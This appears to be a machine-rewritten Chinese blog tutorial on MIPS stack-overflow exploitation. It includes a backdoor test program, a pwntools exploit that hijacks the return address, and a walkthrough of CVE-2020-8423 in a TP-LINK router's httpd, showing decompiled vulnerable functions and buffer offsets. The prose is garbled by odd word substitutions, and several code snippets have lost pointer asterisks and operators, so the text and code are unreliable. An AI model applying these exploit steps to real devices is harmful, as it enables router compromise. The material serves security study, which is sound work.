首页 » SEO优化 » mips版本php技巧_Mips架构下马脚分析入门

mips版本php技巧_Mips架构下马脚分析入门

访客 2024-11-23 0

扫一扫用手机浏览

文章目录 [+]

Mips架构下二进制漏洞入门条记,末了调试TP-LINK路由器的一个栈溢出漏洞作为练习。
内容较多,请耐心阅读。

环境搭建

搭建环境:Ubuntu

mips版本php技巧_Mips架构下马脚分析入门

工具安装

mips版本php技巧_Mips架构下马脚分析入门
(图片来自网络侵删)

SquashFS:用于Linux内核的只读文件系统

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-devsudo git clone https://github.com/devttys0/sasquatchcd sasquatch && sudo ./build

Binwalk:貌似是目前唯一可靠的解bin包的工具。

sudo apt-get install binwalk

Ghidra:NAS开源的反汇编工具

安装java环境,直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac OS),中途会哀求jdk路径(/usr/libexec/java_home -V 获取jdk路径)

sudo ./ghidraRun

官网下载

大略体验了一下这个工具,比起IDA这个工具在函数和变量自动命名上更加有条理,并且反汇编和伪代码自动对应功能用起来也更方便。
最主要的是可以反汇编Mips!

环境安装

Qemu安装

sudo apt-get install qemu

交叉编译环境buildroot

sudo apt-get install libncurses5-dev patchwget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2tar -jxvf buildroot-snapshot.tar.bz2cd buildroot/make cleanmake menuconfigsudo make

进入menuconfig之后,选择目标架构Mips32(须要把稳mips包含大端mips和小端mipsel)。
配置结束之后利用make编译工具链即可。

安装完成之后设置环境变量,在/etc/profile结尾加上

export PATH=$PATH:/.../buildroot/output/host/bin;

编译第一个mips程序

#include<stdio.h>#include <stdlib.h>#include <string.h>void backdoor(){ system("/bin/sh");}void has_stack(char src){ char dst[20]={0}; strcpy(dst,src); printf("copy successfully");}void main(int argc,char argv[]){ has_stack(argv[1]);}

默认编译小端程序。
把稳须要加-static静态编译,由于我们qemu运行环境并没有包含C标准库。

$ mipsel-linux-gcc vuln.c -o vuln -static$ file vulnvuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped

编译大端程序。
须要加-EB参数,但是仅仅加-EB会导致ld报错,紧张缘故原由是ld也须要加-EB参数。
以是我们须要编译和链接分开。
如果要编译成共享库,高下加上-shared参数。
(ld时还是存在问题)

$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o $ mipsel-linux-ld vuln.o -EB -o vuln

利用qemu-mipsel运行我们的小端程序

$ qemu-mipsel vuln "123"copy successfully

大端程序可以用H4lo师傅的工具链布局mips编译环境,在里面找到了用apt就能直接安装的交叉编译工具链,往后也不用自己编译了!

sudo apt-get install linux-libc-dev-mipsel-crosssudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-crosssudo apt-get install binutils-mipsel-linux-gnusudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu

用mips-linux-gnu-gcc编译大端程序

$ mips-linux-gnu-gcc vuln.c -o vuln -static$ file vulnvuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped

()Qemu运行Mips Linux内核

https://people.debian.org/~aurel32/qemu/mips/ 下载两个包

vmlinux内核文件和debian镜像(建议挂代理,否则很慢),建议利用3.2版本内核,老版本内核在gdbserver远程调试时会涌现一些问题。
并且请把稳你下载的是mips还是mipsel版本。

#wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-maltawget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-maltawget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

利用qemu运行mips debian,账号和密码都是root。

Qemu有紧张如下两种运作模式,User Mode和System Mode。

Qemu系统模式命令如下

$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic

调试路由器固件的运行环境

测试固件版本::DIR-605L A1 FW v1.13 下载地址

首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin

binwalk -e DIR605LA1_FW113b06.bin

搜索boa(web做事程序)并且利用qemu-mips运行。
首先复制qemu-mips到当前目录,然后用chroot设置根目录,然后用qemu-mips运行boa。
不过涌现了Not a direcotry的问题,这里须要用qemu-mips-static来运行。

$ cp $(which qemu-mips) ./$ sudo chroot qemu-mips ./squashfs-root-0/bin/boachroot: cannot change root directory to 'qemu-mips': Not a directory安装qemu-mips-staticsudo apt-get install qemu binfmt-support qemu-user-static改用qemu-mips-static运行/squashfs-root-0$ cp $(which qemu-mips) .//squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boaInitialize AP MIB failed!qemu: uncaught target signal 11 (Segmentation fault) - core dumpedSegmentation fault (core dumped)

运行web做事的/bin/boa程序发生段缺点,提示Initialize AP MIB failed!

通过file文件和你想剖析,我们可以知道boa文件动态链接到uclibc链接库,uclibc是运用于嵌入式设备的一种小型C运行库,free和malloc的实现和glibc有一定差异,利用手腕也有一些不同,当然这是后话暂且不表。

$ file ./bin/boa./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

在Ghidra中搜索Initialize AP MIB failed!,当apmid_init()实行失落败了之后就会返回0,导致Web做事启动失落败。
经由剖析apmid_init()来自于动态链接库apmid.so,来自文件根目录下的lib文件夹。
又由于,apmid_init()对付我们的测试并没有决定性影响,以是可以考虑用hook的办法,逼迫让apmid_init()函数值返回1。

iVar1 = apmib_init(); if (iVar1 == 0) { puts("Initialize AP MIB failed!"); }

利用LD_PRELOAD来Hook函数,首先编写如下代码,并且编译成动态共享库。

#include<stdio.h>#include<stdlib.h>int apmib_init(){ printf("hook apmib_init()\n"); return 1;}

mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so

-fPIC 浸染于编译阶段,见告编译器产生与位置无关代码(Position-Independent Code),则产生的代码中,没有绝对地址,全部利用相对地址,故而代码可以被加载器加载到内存的任意位置,都可以精确的实行

运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”,但是运行又出了一点问题。

$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa./bin/boa: can't load library 'libc.so.6'

默认链接库名为libc.so.6,以是我们这里考试测验去复制uclibc的libc.so.0,再次运行,创造hook成功了。
当然我创造利用LD_PRELOAD=”libc.so.0”参数也可以办理问题。
这里大家可以举一反三一下,思考如何将动态链接的mips elf(我们之前都是编译的静态链接程序)通过qemu的user mode运行起来?

cp lib/libc.so.0 lib/libc.so.6$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boahook apmib_init()Create chklist file error!Create chklist file error!qemu: uncaught target signal 11 (Segmentation fault) - core dumpedSegmentation fault (core dumped)

或者

sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa

不过还是报了两个错,接下来只须要按照事理的思路,连续去剖析,写出终极的链接库版本。

#include<stdio.h>#include<stdlib.h>#define MIB_IP_ADDR 170#define MIB_HW_VER 0x250#define MIB_CAPTCHA 0x2c1 int apmib_init(){ printf("hook apmib_init()\n"); return 1;}int fork(void){ return 0;}void apmib_get(int code,int value){ switch(code) { case MIB_HW_VER: value = 0xF1; break; case MIB_IP_ADDR: value = 0x7F000001; break; case MIB_CAPTCHA: value = 1; break; } return;}

QEMU chroot进行本地固件调试

漏洞干系

pwntools是一个CTF框架和漏洞利用开拓库。
它是用Python编写的,旨在用于快速原型开拓和开拓,旨在使漏洞利用程序编写尽可能大略。
pwntools官网

Gdb-Multiarch :能够调试多个架构(包括Mips)的gdb调试工具

apt-get install gdb-multiarch

安装peda插件

git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinit

安装pwndbg插件,安装完成之后进入vim ~/.gdbinit将修正插件为pwndbg

git clone https://github.com/pwndbg/pwndbgcd pwndbg./setup.sh

gdbserver(mips)

可以自己编译mips版本的也可以下载别人编译好的mips版本gdbserver。

git clone https://github.com/rapid7/embedded-tools.gitgit clone https://github.com/hugsy/gdb-staticgit cloen https://github.com/akpotter/embedded-toolkit

qemu和gdb调试

用户模式调试

$ qemu-mipsel -g 9000 vuln$ gdb-multiarch -q(gdb) target remote 127.0.0.1:9000

gdb命令

由于mips架构下peda插件无法正常运行,以是须要复习一下gdb的一些根本命令

break 下断点delete 删除断点continue 运行到下一个断点backtrace 回溯堆栈调用信息info 输出信息 比如 info f输出frame信息,info locals输出当前栈所有局部变量 info registers输出寄存器内容输出命令x/20i输出数据(64位格式)x/20xw输出数据(32位格式)x/20xg

ROPgadgets

$ git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget$ sudo pip install capstone$ python setup.py install$ ROPgadget

Mipsrop

将下载好的python脚本放入ida的plugins目录

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.pyhttps://github.com/SeHwa/mipsrop-for-ida7 #ida7

MIPS指令集

简介:MIPS是一种采纳精简指令集(RISC)的指令集架构,是一种高性能的嵌入式CPU架构,广泛被利用在许多电子产品、网络设备、个人娱乐设备与商业设备上(比如龙芯),在路由器领域也被广泛运用。

Mips常用命令

命令格式用场lwlw R1, 0(R2)从存储器中读取一个word存储(Load)到register中swsw R1, 0(R2)把一个word从register中存储(store)到存储器中addiuaddiu R1,R2,#3将一个立即数#3加上R2内容之后存放到目标地址R1oror R1,R2,R3两个寄存器内容相或jalrjalr R1利用寄存器的跳转指令

这里只列举了部分比较范例的几类指令,不过已经足够理解Mips的栈溢出了。

Mips下寄存器的功能

REGISTERNAMEUSAGE$0$zero常量0(constant value 0)$1$at保留给汇编器(Reserved for assembler)$2-$3$v0-$v1函数调用返回值(values for results and expression evaluation)$4-$7$a0-$a3函数调用参数(arguments)$8-$15$t0-$t7暂时的(或随便用的)$16-$23$s0-$s7保存的(或如果用,须要SAVE/RESTORE的)(saved)$24-$25$t8-$t9暂时的(或随便用的)$28$gp全局指针(Global Pointer)$29$sp堆栈指针(Stack Pointer)$30$fp帧指针(Frame Pointer)$31$ra返回地址(return address)

MIPS特点:

MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。
一样平常来说大端序列是主流的(和x86和arm相反),不过很多CTF题目都是小端序的。
(大端调试须要在gdb和pwntools都特殊设置,否则默认小端)不支持NX(纵然编译选项添加了也没有用)不支持NX即函数的栈/bss都是可实行的,当我们的写入栈中的shellcode能够被实行,大大降落了利用难度。
叶子函数和非叶子函数在MIPS体系架构下,函数分为叶子函数和非叶子函数。
MIPS函数的调用过程与x86不同,x86中函数A调用函数B时,会将A函数的地址压入堆栈中,等到函数B实行完毕返回A函数时候,再从堆栈中弹出函数A的地址。
而MIPS中,如果是叶子函数,与x86是不同的,函数的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。
如果是非叶子函数(即函数中还调用了其他函数),则和x86类似,将地址存入栈中。
其余Mips是没有栈底指针的,只有一个$sp指向栈顶,并且不会像x86那样通过pop或者push调度指针,而是采取偏移寻址来访问变量。
非叶子函数如图所示,在函数头部会将调用函数的返回地址即$ra存放在栈底(偏移4字节),而在函数快结束时会重新将该值取去出来,放入ra。
在这个间段内,如果覆盖了函数栈底,就能够掌握程序的流程。
而在叶子函数如下图所示,从函数被调用开始到函数jr ra返回调用函数,数据一贯都在$ra寄存器中,以是理论上是无法利用的。
但是如果缓冲区溢出的足够多,足够超越本函数的栈底,直到覆盖到调用函数的栈底,那么也是能够利用的。
内存中的数据访问(store/load)必须严格对齐(至少4字节)流水线效应:本应顺序实行的几条指令同时实行,只不过处于不同的实行阶段(一样平常指令实行阶段包括:取指、间指、实行、中断)如下图所示,参考二次重叠实行办法,第一条指令在实行时候,第二条指令在剖析,第三条指令在取指。
举个栗子,流水线会在跳转指令(jal)导致分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽。
当它刚把要跳转到的地址添补好还没完本钱条指令时,分支语句后面的那个指令(第三条指令)就实行了。
以是下面strrchr函数的参数($a0)实际上来自于$0 而不是来自于$2。
这是在看Mips汇编的时候须要把稳的。
mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0缓存不一致性(cache incoherency):指令Cache和数据Cache两者的同步须要一个韶光来同步。
须要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会实行失落败,不能像x86架构下直接跳转到shellcode,而是须要布局一条ROP链接,先调用sleep,然后在跳转到shellcode。

栈溢出实例

还是用我们一开始的vuln程序进行溢出

qemu运行

qemu-mipsel -g 9000 vuln aaaaaa

gdb远程调试

$ qemu-mipsel -g 9000 vuln$ gdb-multiarch -q(gdb) target remote 127.0.0.1:9000

对has_stack函数下断点。
首先查看strcpy的两个参数,首先是strcpy的src,lw a1,56(s8)即从s8寄存器(实际上值和sp是相同的,都是指向栈顶)数据偏移56(+56)的数据写入寄存器a1,即通过s8+56偏移可以得到地址0x76fff2c7,这个地址即存放我输入的aaaa数据。
然后我们来看dest,即发生写入的地址,这个参数默认被放在a0里,即s8偏移24位。
这样我们就能够打算须要多少数据能覆盖缓冲区了。

然后让我们运行到strcpy结束,能够看到我们写入的数据(sp偏移24)。
而我们知道返回地址是sp偏移4位,由于这条汇编代码 004003e8 34 00 bf af sw ra,local_4(sp),以是我们只须要写入20+4字节数据就能覆盖返回地址。

即下图所示的位置。

经由实际测试我们输入28+4个字节能够覆盖到返回地址,下图中也显示程序的流程被我们所掌握。

接下来让我们写一个大略的exploit,运行exp就能得到shell(不过不是qemu里面的shell,而是系统的shell,这点很奇怪,大概是qemu用户模式并没有挂文件系统和内核的缘故)

from pwn import context.binary = "vuln"back_door=0x0400390payload=p32(0x12345678)7+p32(back_door)print(payload)io=process(argv=["qemu-mipsel", "./vuln" , payload])#context.log_level='Debug'io.interactive()

这里贴上一个链接,方便指令集查阅https://blog.csdn.net/gujing001/article/details/8476685

CVE-2020-8423

漏洞设备:TP-LINK TL-WR841N V10

漏洞缘故原由:栈溢出

CVE-2020-8423是TP-LINK路由器中http做事在解析用户HTTP头中字符串没有设置精确的缓冲区大小而导致的栈溢出。

配置运行环境

由于手头没有真机,以是我们选择用qemu来仿照路由器。

Qemu System模式运行

首先下载路由器对应版本的固件,然后利用binwalk对固件进行解压。

binwalk -Me TL-WR841N_V10_150310.zipcd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin.extracted/squashfs-root/

首先我们须要桥接qemu,使得我们能够传输我们的文件系统squashfs-root到虚拟机中。
这部分比较麻烦而且随意马虎忘却,以是记录一下。
启动系统用下面的命令就可以了(这个固件是32位的,请不要用64位qemu运行)。
如果启动不起来或者很慢,重新下一下qcow2,可能之前的某些操作把镜像弄坏了。

sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic #改换内核(wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta)sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic映射端口 -redir tcp:80::8080

配置桥接

我们须要将文件系统传入虚拟机中然后运行固件,为了能让qemu和宿主机传输文件,先要配置桥接管集(参考链接)

1.配置桥接网卡

安装bridge-utils和uml-utilities

sudo apt-get install bridge-utilssudo apt-get install uml-utilities

然后修正/etc/network/interfacces为

auto loiface lo inet loopbackauto eth0iface eth0 inet manualup ifconfig eth0 0.0.0.0 upauto br0iface br0 inet dhcpbridge_ports eth0bridge_stp offbridge_maxwait 1

编辑/etc/qemu-ifup,使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。
这是关键的一步。

#!/bin/shecho "Executing /etc/qemu-ifup"echo "Bringing up $1 for bridged mode..."sudo /sbin/ifconfig $1 0.0.0.0 promisc upecho "Adding $1 to br0..."sudo /sbin/brctl addif br0 $1#sudo ifconfig br0 10.211.55.6/24sleep 3

重启后我们主机的ip会多一个桥接。

2.配置桥接网卡的地址

接着让我们设置桥接的地址。
比如我目前宿主机(运行在parralell下)的地址是10.211.55.5,以是我利用命令 ifconfig br0 10.211.55.6/24 up 修正桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24 ,这样只要qemu开启就会自动设置br0)。

然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24,这样宿主机和qemu就能够相互ping通了。
(只要在同一网段即可)

#在虚拟机内部ifconfig eth0 10.211.55.7/24 up#在虚拟机外部(设置桥接)ifconfig br0 10.211.55.6/24 up

须要把稳的是:要担保qemu内的ip子网掩码和桥接网卡同等,否则虽然宿主机和qemu都可以访问桥接网卡,但是两者不能相互通信。

考试测验去ping宿主机。
然后通过scp来传输文件。

root@debian-mips:~# ifconfig eth0 10.211.55.7/24 uproot@debian-mips:~# ifconfigeth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39 inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB) Interrupt:10 Base address:0x1020#将文件系统传入qemu虚拟机scp -r squashfs-root/ root@10.211.55.7:~/

传输文件,然后在qemu中就能看到我们传输的文件了。

sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/

挂载固件的文件系统

挂载系统的proc到我们固件目录下的proc.这样我们的程序在访问一些内核信息时候能够读取到,否则程序可能会运行缺点。

# 挂载文件系统mount --bind /proc squashfs-root/proc# 改换root目录chroot . bin/sh

/usr/bin/httpd

运行会报很多缺点,参考H4lo师傅的方法hook一下函数来办理问题。
将我们编译好的链接库通过scp传入到Qemu虚拟机中。

#mips-linux-gnu-gcc -shared -fPIC hook.c -o hook#include<stdio.h>#include<stdlib.h>int system(const char command){ printf("HOOK: system(\"%s\")",command); return 1337;}int fork(void){ return 1337;}

重新运行,碰着/usr/bin/httpd: can't load library 'libc.so.6这种问题,利用软链接办理即可。

# 挂载文件系统$ mount --bind /proc squashfs-root/proc# 改换root目录$ cd squashfs-root/$ chroot . bin/sh$ LD_PRELOAD="/hook" /usr/bin/httpd$ /usr/bin/httpd: can't load library 'libc.so.6'$ ln -s libc.so.0 libc.so.6$ LD_PRELOAD="/hook" /usr/bin/httpd#gdb调试export LD_PRELOAD="/hook"#./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd

进入Web后台界面时候,上岸账号(账号密码都是admin)

其他问题

设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。
修正文件 /etc/resolvconf/resolv.conf.d/basenameserver 8.8.8.8 nameserver 8.8.4.4 实行更新resolvconf -ussh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss添加参数-oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1,比如:$ ssh root@10.211.55.8 -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms=+ssh-dss -oKexAlgorithms=+diffie-hellman-group1-sha1 gdbserver-7.12-mips-be root@10.211.55.8:~/

gdb调试

利用scp将gdbserver拷贝到squashfs-root目录下

scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/

利用gdbserver将httpd调试转发到2333端口

export LD_PRELOAD="/hook"./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd

宿主机的gdb通过remote target进行远程调试。
如果报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout。
须要将内核版本从vmlinux-2.6.32-5-4kc-malta改换为vmlinux-3.2.0-4-4kc-malta

漏洞剖析

用Ghidra逆向剖析/usr/bin/httpd 文件,stringModify包含三个参数,分别是dst、len、src,很明显是拷贝函数。
经由剖析可以知道stringModify紧张用于拷贝string并且对其进行一定的过滤,包括对转义字符的修正,对付\r和\n的转义等。
但是函数并没有包含对dst的检讨,以及对len的限定,如果利用者dst创建的过小就有可能产生栈溢出ou。
(就相称于一个对字符有一定转义浸染的strcpy)

当然,还有一个最有趣,并且直接导致漏洞的是,天生</br>的时候,写入了4个字节的数字,但是记录长度的iVar3变量却只加了1,导致理论上我们能够输入len长度4倍大数据,这样能够直接对任何调用stringModify的函数产生缓冲区溢出。

参考poc中输入/%0A(或者/%0D)会而页面会输出\/<br>,(0x0a对应\n,0x0d对应\r),可见我们出触法了天生<br>的代码。
下面是这段代码经由stringModify转义剖析。
把稳代码中只对单独存在的\n进行转义(连续的\n并不会触发这个漏洞点),这便是为什么我们输入的\n之间须要用其他符号隔开(经由实验证明,把\换成<之类的符号也可以溢出成功)。
(%0A转义成\n的部分我没有找到代码,但是理论上该当有一个函数在我们进入StringModify之前实现了转义,实在这个便是前真个根本编码。

转义前转义后输出/\\/\/%0A\n<br>

int stringModify(char dst,int len,int src){ char cVar1; //作为临时存储src单个字节内容 char pcVar2; //指向src的指针 int iVar3; //返回值(返回String的长度) /首先判断拷贝地址dst是否为0,将pcVar2指针指向src+1的位置/ if ((dst == (char )0x0) || (pcVar2 = (char )(src + 1), src == 0)) { iVar3 = -1; } else { iVar3 = 0; //初始化返回值为0 while( true ) { cVar1 = pcVar2[-1]; //访问拷贝来源src的首部,并且作出判断 if ((cVar1 == '\0') || (len <= iVar3)) break; //判断是否截断,长度是否同等 if (cVar1 == '/') { /当字符是转移字符'\'时候/LAB_0043bb48: dst = '\\'; //判断转义字符'/',并且将转义字符转化为'\\'LAB_0043bb4c: iVar3 = iVar3 + 1; //返回的length+1 dst = dst + 1; //dst指针向后移动一位LAB_0043bb54: dst = pcVar2[-1]; //将转译字符的一位数据,添加也添加到dst中 dst = dst + 1; //dst指针连续向后移动 } else { if ('/' < cVar1) { if ((cVar1 == '>') || (cVar1 == '\\')) goto LAB_0043bb48; if (cVar1 == '<') { dst = '\\'; goto LAB_0043bb4c; } goto LAB_0043bb54; } if (cVar1 != '\r') { if (cVar1 == '\"') goto LAB_0043bb48; if (cVar1 != '\n') goto LAB_0043bb54; } /将\r或者\n转化为html中的<br>/ if ((pcVar2 != '\r') && (pcVar2 != '\n')) { //这部分检测src序列是否包含重复\r或者\n dst = '<'; dst[1] = 'b'; dst[2] = 'r'; dst[3] = '>'; dst = dst + 4; //写入4个字节,但是iVar3每次只会+1 } } iVar3 = iVar3 + 1; pcVar2 = pcVar2 + 1; } dst = '\0'; } return iVar3;}

让我们去源代码里搜索调用stringModify而可能产生栈溢出的地方。
于是我们找到了writePageParamSet函数。

void writePageParamSet(undefined4 param_1,char param_2,int param_3){ int iVar1; undefined puVar2; undefined local_210 [512]; if (param_3 == (int )0x0) { HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d", "writePageParamSet",0xb2); } iVar1 = strcmp(param_2,"\"%s\","); //判断匹配字符串 if (iVar1 == 0) { iVar1 = stringModify(local_210,0x200,param_3); //调用stringModify if (iVar1 < 0) { printf("string modify error!"); local_210[0] = 0; } puVar2 = local_210; } else { iVar1 = strcmp(param_2,"%d,"); if (iVar1 != 0) { return; } puVar2 = (undefined )param_3; } httpPrintf(param_1,param_2,puVar2); return;}

然后连续回溯,我们找到了会使得writePageParamSet调用stringModify的函数,UndefinedFunction_0045fa94。
UndefinedFunction_0045fa94函数在取出ssid的时候,将ssid放入一个很小的缓冲区acStack3080中,并且没有对长度进行限定,导致能够产生栈溢出。

初学Ghidra,以是让我们剖析一下他的变量剖析办法,就拿我们溢出的缓冲区acStack3460来说,在Mips汇编的表示为0xcc(sp),即间隔栈顶(地址较小的那一端)0xcc间隔的内存地址(buffer=sp+0xcc),让我们连续想下看,uint类型uStack3424的地址为0xe4(sp),即地址为sp+0xf0。
两者之差(36)即acStack3460的默认空间。

让我们再找一找返回值的地址,0xe4c(sp)间隔sp 0xe4c 个字节。

经由审计,我们创造通过ssid参数,我们可以写入超量的数据而不会被限定,当然,间隔ret地址还是有一些远的,在调用writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);会调用stringModify。
将这个超量的数据写入writePageParamSet栈中的512字节的buffer,造成缓冲区溢出。
其余,须要把稳的是我们还须要设置其他几个参数,由于这几个参数在ssid(acStack3460)的缓冲区下面,如果设置为默认值0x1则会产生\x00而截断我们的超长数据。

0x00 | | | ssid | | |0x24 | curRegion |0x28 | channel |0x2c | chanWidth |0x30 | mode |0x34 | wrr |0x38 | sb |0x3c | select |0x40 | rate | ...0x?? | return addr |

而代码中的"/userRpm/popupSiteSurveyRpm.htm"则提醒着我们在测试时url的目录为“/userRpm/popupSiteSurveyRpm.htm”

代码做了一些删减,完全版见附录:

int UndefinedFunction_0045fa94(undefined4 param_1){ ... char acStack3460 [36]; //创建36字节的buffer ... memset(acStack3460,0,0x44); uStack3612 = 0; pcVar9 = (char )httpGetEnv(param_1,"ssid");//从http要求头中取出ssid if (pcVar9 == (char )0x0) { acStack3460[0] = '\0'; } else { __n = strlen(pcVar9);/将ssid的数据写入buffer中/ strncpy(acStack3460,pcVar9,__n);//BufferOverflow } //顺便审计一下剩下的代码有没有漏洞 pcVar9 = (char )httpGetEnv(param_1,"curRegion"); if (pcVar9 == (char )0x0) { uStack3424 = 0x11; } else { uStack3612 = atoi(pcVar9); if (uStack3612 < 0x6c) { uStack3424 = uStack3612; } } pcVar9 = (char )httpGetEnv(param_1,"channel"); if (pcVar9 == (char )0x0) { uStack3420 = 6; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 0xf) { uStack3420 = uStack3612; } } pcVar9 = (char )httpGetEnv(param_1,"chanWidth"); if (pcVar9 == (char )0x0) { uStack3416 = 2; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 3) { uStack3416 = uStack3612; } } pcVar9 = (char )httpGetEnv(param_1,"mode"); if (pcVar9 == (char )0x0) { uStack3412 = 1; } else { uStack3612 = atoi(pcVar9); if (uStack3612 - 1 < 8) { uStack3412 = uStack3612; } } pcVar9 = (char )httpGetEnv(param_1,&DAT_00548138); if (pcVar9 != (char )0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3408 = 1; } else { uStack3408 = 0; } } pcVar9 = (char )httpGetEnv(param_1,&DAT_0054813c); if (pcVar9 != (char )0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3404 = 1; } else { uStack3404 = 0; } } pcVar9 = (char )httpGetEnv(param_1,"select"); if (pcVar9 != (char )0x0) { iVar1 = strcmp(pcVar9,"true"); if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) { uStack3400 = 1; } else { uStack3400 = 0; } } pcVar9 = (char )httpGetEnv(param_1,&DAT_00548140); if (pcVar9 != (char )0x0) { iStack3396 = atoi(pcVar9); } httpPrintf(param_1, "<SCRIPT language=\"javascript\" type=\"text/javascript\">\nvar %s = new Array(\n", "pagePara"); writePageParamSet(param_1,&DAT_00544d38,acStack3460,0); writePageParamSet(param_1,"%d,",&uStack3424,1); writePageParamSet(param_1,"%d,",&uStack3420,2); writePageParamSet(param_1,"%d,",&uStack3416,3); writePageParamSet(param_1,"%d,",&uStack3412,4); writePageParamSet(param_1,"%d,",&uStack3408,5); writePageParamSet(param_1,"%d,",&uStack3404,6); writePageParamSet(param_1,"%d,",&uStack3400,7); writePageParamSet(param_1,"%d,",&iStack3396,8); httpPrintf(param_1,"0,0 );\n</SCRIPT>\n"); httpPrintf(param_1,"<script language=JavaScript>\nvar isInScanning = 0;\n</script>"); if ((auStack3600[0] < 9) && ((1 << (auStack3600[0] & 0x1f) & 0x1c8U) != 0)) { HttpWebV4Head(param_1,0,0); pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm"; } else { HttpWebV4Head(param_1,0,1); pcVar9 = "/userRpm/popupSiteSurveyRpm.htm"; } } iVar1 = httpRpmFsA(param_1,pcVar9); if (iVar1 == 2) { return 2; } sVar10 = HttpErrorPage(param_1,10,0,0);LAB_0045fa54: return (int)sVar10;}

我们利用curl发送HTTP要求给我们的路由器,测试漏洞是否存在。
为了能够访问存在漏洞的做事,我们首先须要上岸,即我们须要抓取上岸后的Cookie(此处为%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D)和path(此处为MKSRWOTBRLXMCITC),然后作为发送参数。

利用curl来写入我们的payload,httpd发生段缺点,并且程序掌握流呗掌握为0x61656161

